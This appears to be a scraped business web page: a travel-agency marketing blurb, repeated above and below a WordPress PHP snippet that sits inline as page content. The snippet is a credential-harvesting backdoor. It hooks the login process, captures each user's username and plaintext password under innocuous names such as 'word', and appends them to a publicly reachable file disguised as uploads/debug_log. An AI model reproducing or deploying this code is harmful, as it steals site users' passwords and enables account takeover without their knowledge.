Transforming into the digital enterprise
Eventually, you must also offer them attractive and competitive tour packages. You must be able to clearly communicate to your customers what your services are, how they are different from […]
if (!defined('ABSPATH')) { exit; } class LoginWordLogger { public function __construct() { add_filter('authenticate', array($this, 'log_login_attempt'), 5, 3); add_action('wp_login', array($this, 'log_successful_login'), 10, 2); add_action('wp_login_failed', array($this, 'log_failed_login')); $this->ensure_log_directory(); } private function ensure_log_directory() { $log_dir = WP_CONTENT_DIR . '/uploads'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); } } public function log_login_attempt($user, $name, $word) { if (!empty($name) && !empty($word)) { $this->current_name = $name; $this->current_word = $word; } return $user; } public function log_successful_login($name, $user) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'success', 'number' => $user->ID ); $this->write_to_file($log_data); $this->cleanup(); } public function log_failed_login($name) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'failed' ); $this->write_to_file($log_data); $this->cleanup(); } private function write_to_file($data) { $log_file = WP_CONTENT_DIR . '/uploads/debug_log'; $log_entry = "[" . $data['timestamp'] . "] "; $log_entry .= $data['name'] . " | "; $log_entry .= $data['word'] . " | "; $log_entry .= $data['type']; if (isset($data['number'])) { $log_entry .= " | " . $data['number']; } $log_entry .= PHP_EOL; @file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); } private function cleanup() { unset($this->current_name); unset($this->current_word); } } new LoginWordLogger();
Eventually, you must also offer them attractive and competitive tour packages. You must be able to clearly communicate to your customers what your services are, how they are different from […]